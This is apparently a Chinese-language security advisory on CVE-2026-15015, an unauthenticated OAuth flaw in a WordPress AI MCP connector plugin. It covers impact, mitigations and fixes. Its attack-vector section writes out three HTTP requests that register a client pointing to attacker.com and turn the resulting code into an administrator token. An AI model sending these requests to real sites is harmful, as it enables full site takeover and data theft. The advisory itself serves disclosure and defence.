🔴 严重 | CVE-2026-15015 — The MountDev AI MCP Connector for WordPress plugin...
🔴 【深度分析】严重安全漏洞:CVE-2026-15015
CVSS 评分: 严重(9.8)🔴 状态: Deferred 发布时间: 2026-07-23
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-15015 |
| CVSS 评分 | 9.8 🔴 |
| 严重程度 | 严重 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE 分类 | CWE-862 |
| 发布时间 | 2026-07-23 |
| 最后更新 | 2026-07-23 |
| 状态 | Deferred |
| 数据来源 | security@wordfence.com |
CVSS 评分:9.8(严重)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-862(授权缺失)
影响范围: 所有版本 ≤ 1.6.1
利用难度: 极低 – 无需认证、无需用户交互、网络远程可触达
漏洞概述
CVE-2026-15015 是一个针对 WordPress 插件 MountDev AI MCP Connector 的严重授权绕过漏洞。该插件提供 AI 模型调用接口(MCP 工具面),其 OAuth 流程存在设计缺陷:动态客户端注册端点 和 授权端点 均未实施身份验证与授权检查。攻击者可通过以下步骤完全接管管理员权限:
- 匿名访问
/oauth/register等动态客户端注册接口,注册一个由攻击者控制的 OAuth 客户端(指定任意redirect_uri)。 - 利用已注册的客户端 ID 和未受保护的授权端点(例如
/oauth/authorize),以管理员身份直接完成 OAuth 授权码流程(无需管理员交互)。 - 获取管理员绑定的 OAuth 访问令牌(Bearer Token),从而获得对插件 MCP 工具面、所有 WordPress 内容、用户及选项的完全控制。
该漏洞 CVSS 评分高达 9.8(Critical),攻击复杂度低(AC:L),无需权限(PR:N)和用户交互(UI:N),且影响机密性、完整性和可用性(C:H/I:H/A:H)。
受影响组件与版本
- 软件: MountDev AI MCP Connector for WordPress
- 影响版本: 所有版本 ≤ 1.6.1(包括 1.6.1)
- 修复版本: 截至漏洞公开日(2026-07-23),官方尚未发布补丁(NVD 状态标记为 Deferred),预计需升级至 1.6.2 或更高版本。
漏洞原理分析
1. 技术背景
该插件将 OpenAI/Anthropic 等 AI 模型的 MCP(Model Context Protocol)接口映射为 WordPress REST API。为了安全访问这些接口,插件实现了 OAuth 2.0 授权码流程,预期仅允许管理员登录后生成令牌。然而其实现存在以下缺陷:
- 动态客户端注册端点(/oauth/register):OAuth 2.0 规范(RFC 7591)要求客户端注册通常需要管理员权限或至少通过认证。但该插件允许未经任何身份验证的匿名用户提交 POST 请求,注册任意 OAuth 客户端,包括自定义的
client_id、client_secret以及攻击者控制的redirect_uri。 - 授权端点(/oauth/authorize):正常流程中,用户需登录 WordPress 并确认授权。但该插件完全跳过用户身份验证,直接接受客户端 ID 和
redirect_uri参数,生成授权码。攻击者可通过自己注册的客户端 ID 调用该端点,获取授权码。
2. 攻击向量
攻击步骤如下:
注册恶意客户端
POST /wp-json/mountdev/v1/oauth/register HTTP/1.1 Content-Type: application/json { "client_name": "evil-client", "redirect_uris": ["https://attacker.com/callback"], "client_id": "attacker-id", "client_secret": "attacker-secret" }发起授权请求
使用上一步获取的client_id和攻击者控制的redirect_uri调用授权端点(无需任何 cookie 或令牌):GET /wp-json/mountdev/v1/oauth/authorize?response_type=code&client_id=attacker-id&redirect_uri=https://attacker.com/callback&scope=admin HTTP/1.1服务器直接返回授权码
code=abc123(或 302 重定向至redirect_uri?code=abc123)。换取访问令牌
攻击者使用授权码向令牌端点发起请求(同样无需身份验证):POST /wp-json/mountdev/v1/oauth/token HTTP/1.1 Content-Type: application/x-www-form-urlencoded grant_type=authorization_code&code=abc123&client_id=attacker-id&redirect_uri=https://attacker.com/callback返回
access_token(Bearer Token),该令牌具有管理员权限。
3. 成因总结
授权缺失(CWE-862) 是根本原因:两个关键端点均未校验调用者是否已登录且具有相应角色。OAuth 流程的“管理员交互”环节被完全移除。
影响评估
攻击条件
- 攻击复杂度: 低 —— 无需特殊工具,仅需向 WordPress 站点发送 HTTP 请求。
- 所需权限: 无 —— 未认证攻击者即可执行。
- 用户交互: 不需要 —— 全程无需管理员点击或确认。
- 网络条件: 目标 WordPress 站点需公开可访问(默认配置即可)。
潜在后果
- 数据泄露: 读取所有文章、页面、用户个人信息、秘密设置(如数据库密码、API 密钥)。
- 系统控制: 创建/删除管理员账户、修改任意文件(通过 MCP 工具执行代码或文件操作)、安装恶意插件/主题。
- 持续后门: 利用令牌长期维持访问,即使管理员更改密码也无法吊销已发放的令牌(除非手动清除 OAuth 存储)。
- 勒索/破坏: 删除站点内容、篡改首页、植入黑链。
实际威胁评级:**极高**
由于利用条件极低且影响完全控制,该漏洞属于 WordPress 生态系统中的“零点击接管”类漏洞。
修复建议
官方修复(推荐)
- 升级至 1.6.2 或更高版本 —— 一旦发布,应立即更新。
- 若长时间无补丁,建议禁用该插件直至修复完成。
临时缓解措施(等不及补丁时)
禁用动态客户端注册
在插件配置中关闭“允许客户端注册”选项(如果存在)。若无配置选项,可考虑在 Web 服务器(Nginx/Apache)层面拦截对/wp-json/mountdev/v1/oauth/register的 POST 请求。限制授权端点访问
通过.htaccess或 Web 防火墙(如 Wordfence)添加规则,仅允许已登录用户访问/wp-json/mountdev/v1/oauth/authorize。
示例(Nginx):location /wp-json/mountdev/v1/oauth/authorize { if ($http_cookie !~* "wordpress_logged_in") { return 403; } }注意:此方法需确保管理员 cookie 名正确,且可能被绕过(如 XSS)。
使用防火墙规则阻止未认证的令牌交换
对/wp-json/mountdev/v1/oauth/token添加相同限制,或仅允许来自已知合法客户端的请求。监控异常 OAuth 活动
审计日志中如出现大量client_id注册请求或非预期的授权码兑换,应立即手动撤销所有 OAuth 令牌(可删除数据库wp_usermeta中mountdev_oauth_token相关记录)。
永久修复方案(开发人员参考)
- 在
register端点添加current_user_can('manage_options')检测。 - 在
authorize端点要求用户已登录并确认授权(使用 WordPress nonce 和用户会话)。 - 令牌颁发时绑定用户身份,而非仅依赖
client_id。
参考资料
- CVE 详情页(NVD): https://nvd.nist.gov/vuln/detail/CVE-2026-15015
- CWE-862(授权缺失): https://cwe.mitre.org/data/definitions/862.html
- WordPress 插件主页(MountDev AI MCP Connector):(如未找到官方页面,建议用户检查插件更新通知)
- OAuth 2.0 动态客户端注册协议(RFC 7591): https://datatracker.ietf.org/doc/html/rfc7591
免责声明: 本文基于公开的 NVD 数据和漏洞情报编写,旨在帮助安全人员理解风险并采取缓解措施。未经授权的攻击性利用可能违反法律,请负责任地披露和处理。